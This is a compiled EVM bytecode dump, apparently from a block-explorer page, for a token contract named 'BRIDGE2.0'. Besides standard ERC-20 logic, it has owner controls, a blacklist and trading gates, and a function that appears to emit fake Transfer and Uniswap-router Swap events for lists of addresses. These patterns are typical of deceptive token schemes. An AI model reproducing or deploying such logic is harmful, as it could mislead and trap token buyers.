300000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600981526020017f425249444745322e300000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b60006020820190508181036000830152613ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b8381101561428557815161426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df8f73b573bfc3038717f1ca7efb2a512d64db0004904c8b3bcbb2a60c68f88264736f6c63430008120033
Deployed Bytecode Sourcemap
4365:14754:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13941:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6893:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7818:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13365:81;;;;;;;;;;;;;:::i;:::-;;5723:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7170:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8960:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8019:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6037:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7079:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5771:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14118:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18374:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13698:235;;;;;;;;;;;;;:::i;:::-;;7273:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18514:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18995:118;;;;;;;;;;;;;:::i;:::-;;5920:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5465:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1638:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5978:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6984: